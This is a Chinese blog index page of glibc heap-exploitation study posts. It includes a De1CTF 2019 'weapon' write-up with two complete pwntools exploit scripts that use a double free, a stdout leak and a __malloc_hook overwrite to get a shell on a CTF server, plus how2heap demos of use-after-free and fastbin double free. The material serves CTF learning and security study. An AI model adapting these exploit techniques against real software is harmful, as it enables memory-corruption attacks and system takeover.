func_ptr *p1=(func_ptr*)malloc(4*sizeof(int));
printf("malloc addr: %p\n",p1);
p1[3]=echo;
p1[3]("hello world\n");
free(p1); //在这里free了p1,但并未将p1置空,导致后续可以再使用p1指针
p1[3]("hello again\n"); //p1指针未被置空,虽然free了,但仍可使用.
func_ptr *p2=(func_ptr*)malloc(4*sizeof(int));//malloc在free一块内存后,再次申请同样大小的指针会把刚刚释放的内存分配出来.
printf("malloc addr: %p\n",p2);
printf("malloc addr: %p\n",p1);//p2与p1指针指向的内存为同一地址
p2[3]=evil_fuc; //在这里将p1指针里面保存的echo函数指针覆盖成为了evil_func指针.
p1[3]("/bin/sh");
return 0;
}

weapon

Posted on 2019-08-06 | In De1ctf

0x01 寻找漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned __int64 sub_CBB()
{
signed int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("input idx :");
v1 = sub_AAE();
if ( v1 < 0 && v1 > 9 )
{
printf("error");
exit(0);
}
free(*((void **)&unk_202060 + 2 * v1));
puts("Done!");
return __readfsqword(0x28u) ^ v2;
}

一个uaf漏洞 我就看到了这些 尴尬

0x02 思路分析

1
2
3
4
5
1.double free使得heap可控

2.利用unsorted bin留下的脚印爆破stdout,改stdout泄露地址

3.劫持hook

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
还不是很懂
原文:https://github.com/De1ta-team/De1CTF2019/tree/master/writeup/pwn/Weapon
第一
制作一个假的0x80(超过那个没问题)chunk并释放它。所以我们可以在fd中获取libc然后编辑stdout的结构来泄漏。最终得到shell。

from pwn import *
def cmd(c):
p.sendlineafter(">> \n",str(c))
def Cmd(c):
p.sendlineafter(">> ",str(c))
def add(size,idx,name="padding"):
cmd(1)
p.sendlineafter(": ",str(size))
p.sendlineafter(": ",str(idx))
p.sendafter(":\n",name)
def free(idx):
cmd(2)
p.sendlineafter(":",str(idx))
def edit(idx,name):
cmd(3)
p.sendlineafter(": ",str(idx))
p.sendafter(":\n",name)
def Add(size,idx,name="padding"):
Cmd(1)
p.sendlineafter(": ",str(size))
p.sendlineafter(": ",str(idx))
p.sendafter(":",name)
def Free(idx):
Cmd(2)
p.sendlineafter(":",str(idx))

#p=process('./pwn')
p=remote("139.180.216.34",8888)
#context.log_level='debug'
add(0x18,0)
add(0x18,1)
add(0x60,2,p64(0x0)+p64(0x21)+'\x00'*0x18+p64(0x21)*5)
add(0x60,3,p64(0x21)*12)
add(0x60,4)
add(0x60,5)
free(0)
free(1)
free(0)
free(1)

add(0x18,0,"\x50")
add(0x18,0,'\x00'*8)
add(0x18,0,"A")

add(0x18,0,'GET')

edit(2,p64(0x0)+p64(0x91))
free(0)

add(0x18,0)
add(0x60,0,'\xdd\x25')

free(2)
free(5)
free(2)
free(5)

#gdb.attach(p,'')
add(0x60,4,'\x70')
#
add(0x60,0)
add(0x60,0)
add(0x60,0)
add(0x60,0,'\x00'*(0x40+3-0x10)+p64(0x1800)+'\x00'*0x19)
p.read(0x40)

base=u64(p.read(6).ljust(8,'\x00'))-(0x7ffff7dd2600-0x7ffff7a0d000)
log.warning(hex(base))
#raw_input()
libc=ELF("./pwn").libc
Add(0x60,0)
Add(0x60,1)
Add(0x18,2)
Free(0)
Free(1)
Free(0)
Add(0x60,0,p64(libc.sym['__malloc_hook']+base-35))
Add(0x60,0)
Add(0x60,0)
one=0xf02a4
Add(0x60,0,'\x00'*19+p64(one+base))

Free(1)
Free(1)

p.interactive()


第二
当我们使用scanf输入一些内容。如果你输入了很多东西,它会将一个0x400块进行malloc暂时保存。如果我们保留一些fastbin,当malloc.it将被放入smallbin.now我们也有libc地址。

from pwn import *
context.log_level = "debug"
#p = process("./weapon")
p = remote("139.180.216.34",8888)
elf = ELF("./weapon")
a = elf.libc
#gdb.attach(p)
def create(idx,size,content):
p.recvuntil(">> \n")
p.sendline(str(1))
p.recvuntil("weapon: ")
p.sendline(str(size))
p.recvuntil("index: ")
p.sendline(str(idx))
p.recvuntil("name:")
p.send(content)
def delete(idx):
p.recvuntil(">> ")
p.sendline(str(2))
p.recvuntil("idx :")
p.sendline(str(idx))

def edit(idx,content):
p.recvuntil(">> ")
p.sendline(str(3))
p.recvuntil("idx: ")
p.sendline(str(idx))
p.recvuntil("content:\n")
p.send(content)

create(0,0x60,"a")
create(1,0x60,"b")
create(2,0x60,"c")
delete(0)
delete(1)
p.recvuntil(">> ")
p.sendline("1"*0x1000)
create(3,0x60,"\xdd\x25")
create(4,0x60,"e")
delete(2)
delete(1)
edit(1,"\x00")
create(5,0x60,"f")
create(6,0x60,"f")
file_struct = p64(0xfbad1887)+p64(0)*3+"\x58"
create(7,0x60,"\x00"*0x33+file_struct)
libc_addr = u64(p.recvuntil("\x00",drop=True)[1:].ljust(8,"\x00"))-a.symbols["_IO_2_1_stdout_"]-131
print hex(libc_addr)
delete(6)
edit(6,p64(libc_addr+a.symbols["__malloc_hook"]-0x23))

create(8,0x60,"t")

create(9,0x60,"a"*0x13+p64(libc_addr+0xf1147))
p.recvuntil(">> \n")
p.sendline(str(1))
p.recvuntil("weapon: ")
p.sendline(str(0x60))
p.recvuntil("index: ")
p.sendline(str(6))

p.interactive()

fastbin_dup

Posted on 2019-08-02 | In how2heap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include stdio.h
#include stdlib.h

int main()
{
fprintf(stderr, This file demonstrates a simple double-free attack with fastbins.n);

fprintf(stderr, Allocating 3 buffers.n);
int a = malloc(8);
int b = malloc(8);
int c = malloc(8);

fprintf(stderr, 1st malloc(8) %pn, a);
fprintf(stderr, 2nd malloc(8) %pn, b);
fprintf(stderr, 3rd malloc(8) %pn, c);

fprintf(stderr, Freeing the first one...n);
free(a);

fprintf(stderr, If we free %p again, things will crash because %p is at the top of the free list.n, a, a);
free(a);

fprintf(stderr, So, instead, we'll free %p.n, b);
free(b);

fprintf(stderr, Now, we can free %p again, since it's not the head of the free list.n, a);
free(a);

fprintf(stderr, Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!n, a, b, a, a);
fprintf(stderr, 1st malloc(8) %pn, malloc(8));
fprintf(stderr, 2nd malloc(8) %pn, malloc(8));
fprintf(stderr, 3rd malloc(8) %pn, malloc(8));
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
This file demonstrates a simple double-free attack with fastbins.
Allocating 3 buffers.
1st malloc(8): 0xb74010
2nd malloc(8): 0xb74030
3rd malloc(8): 0xb74050
Freeing the first one...
If we free 0xb74010 again, things will crash because 0xb74010 is at the top of the free list.
*** Error in `./fastbin_dup_double_free': double free or corruption (fasttop): 0x0000000000b74010 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x790cb)[0x7fe7c6e7d0cb]
/lib/x86_64-linux-gnu/libc.so.6(+0x82c9a)[0x7fe7c6e86c9a]
/lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7fe7c6e8ad8c]
./fastbin_dup_double_free[0x400740]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf1)[0x7fe7c6e243f1]
./fastbin_dup_double_free[0x40054a]

当我们运行程序后,程序发生了明显的报错,这是一个典型的 double free 。意味通常而言,一个已经 free 掉的 chunk 是不能被 free 第二次的。然后我们把原本的注释加上。

首先 程序malloc了三个chunk
然后free(a)

printf(stderr, 3rd malloc(8) %pn, c);

fprintf(stderr, Freeing the first one...n);
free(a);

fprintf(stderr, If we free %p again, things will crash because %p is at the top of the free list.n, a, a);
free(a);##这个free(a)是不行的

然后free(b) free(a)
fprintf(stderr, So, instead, we'll free %p.n, b);
free(b);

fprintf(stderr, Now, we can free %p again, since it's not the head of the free list.n, a);

这个时候,fastbin 形成一个 fastbin freelist
chunk A ---> chunk B
然后我们再把 a free 一次
free(a);

fprintf(stderr, Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!n, a, b, a, a);
fprintf(stderr, 1st malloc(8) %pn, malloc(8));
fprintf(stderr, 2nd malloc(8) %pn, malloc(8));
fprintf(stderr, 3rd malloc(8) %pn, malloc(8));

|Chunk A| -> |chunk B| -->| chunk A|

总结

1
fastbins 可以看成一个 LIFO 的栈,使用单链表实现,通过 fastbin->fd 来遍历 fastbins。由于 free 的过程会对 free list 做检查,我们不能连续两次 free 同一个 chunk,所以这里在两次 free 之间,增加了一次对其他 chunk 的 free 过程,从而绕过检查顺利执行。然后再 malloc 三次,就在同一个地址 malloc 了两次,也就有了两个指向同一块内存区域的指针。

first_fit

Posted on 2019-08-02 | In how2heap

堆的系统学习

first_fit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
fprintf(stderr, "This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.\n");
fprintf(stderr, "glibc uses a first-fit algorithm to select a free chunk.\n");
fprintf(stderr, "If a chunk is free and large enough, malloc will select this chunk.\n");
fprintf(stderr, "This can be exploited in a use-after-free situation.\n");

fprintf(stderr, "Allocating 2 buffers. They can be large, don't have to be fastbin.\n");
char* a = malloc(512);
char* b = malloc(256);
char* c;

fprintf(stderr, "1st malloc(512): %p\n", a);
fprintf(stderr, "2nd malloc(256): %p\n", b);
fprintf(stderr, "we could continue mallocing here...\n");
fprintf(stderr, "now let's put a string at a that we can read later \"this is A!\"\n");
strcpy(a, "this is A!");
fprintf(stderr, "first allocation %p points to %s\n", a, a);

fprintf(stderr, "Freeing the first one...\n");
free(a);

fprintf(stderr, "We don't need to free anything again. As long as we allocate less than 512, it will end up at %p\n", a);

fprintf(stderr, "So, let's allocate 500 bytes\n");
c = malloc(500);
fprintf(stderr, "3rd malloc(500): %p\n", c);
fprintf(stderr, "And put a different string here, \"this is C!\"\n");
strcpy(c, "this is C!");
fprintf(stderr, "3rd allocation %p points to %s\n", c, c);
fprintf(stderr, "first allocation %p points to %s\n", a, a);
fprintf(stderr, "If we reuse the first allocation, it now holds the data from the third allocation.\n");
}

执行程序后的输出
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.
glibc uses a first-fit algorithm to select a free chunk.
If a chunk is free and large enough, malloc will select this chunk.
This can be exploited in a use-after-free situation.
Allocating buffers. They can be large, don't have to be fastbin.
1st ): 0x245b420
2nd ): 0x245b630
we could continue mallocing here...
now let's put a string at a that we can read later "this is A!"
first allocation 0x245b420 points to this is A!
Freeing the first one...
We don't need to free anything again. As long as we allocate less than 512, it will end up at 0x245b420
So, let's allocate 500 bytes
3rd ): 0x245b420
And put a different string here, "this is C!"
3rd allocation 0x245b420 points to this is C!
first allocation 0x245b420 points to this is C!
If we reuse the first allocation, it now holds the data from the third allocation.

这个案例只是讲了glibc分配chunk时的first fit原则,可以用于use after free漏洞,比较简单,对照看看源码和输出即可,

我的理解是 free(a)之后a的指针空闲了出来 除非字节大于512 不然还是输出a的值 0x245b420,c字节为500,所以还是输出0x245b420

总结

1
2
3
4
5
6
7
8
9
10
当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中。
释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。关于top chunk的解释,请参考下面的介绍。
当进行 malloc_consolidate 时,可能会把合并后的 chunk 放到 unsorted bin 中,如果不是和 top chunk 近邻的话。

Unsorted Bin 在使用的过程中,采用的遍历顺序是 FIFO,即插入的时候插入到 unsorted bin 的头部,取出的时候从链表尾获取。
在程序 malloc 时,如果在 fastbin,small bin 中找不到对应大小的 chunk,就会尝试从 Unsorted Bin 中寻找 chunk。如果取出来的 chunk 大小刚好满足,就会直接返回给用户,否则就会把这些 chunk 分别插入到对应的 bin 中。

uaf 造成原因:

​ 指针free 掉后并没有置0
123…5

xfgg

42 posts
14 categories
3 tags
RSS
© 2019 xfgg
Powered by Hexo
|
Theme — NexT.Gemini v5.1.4
0%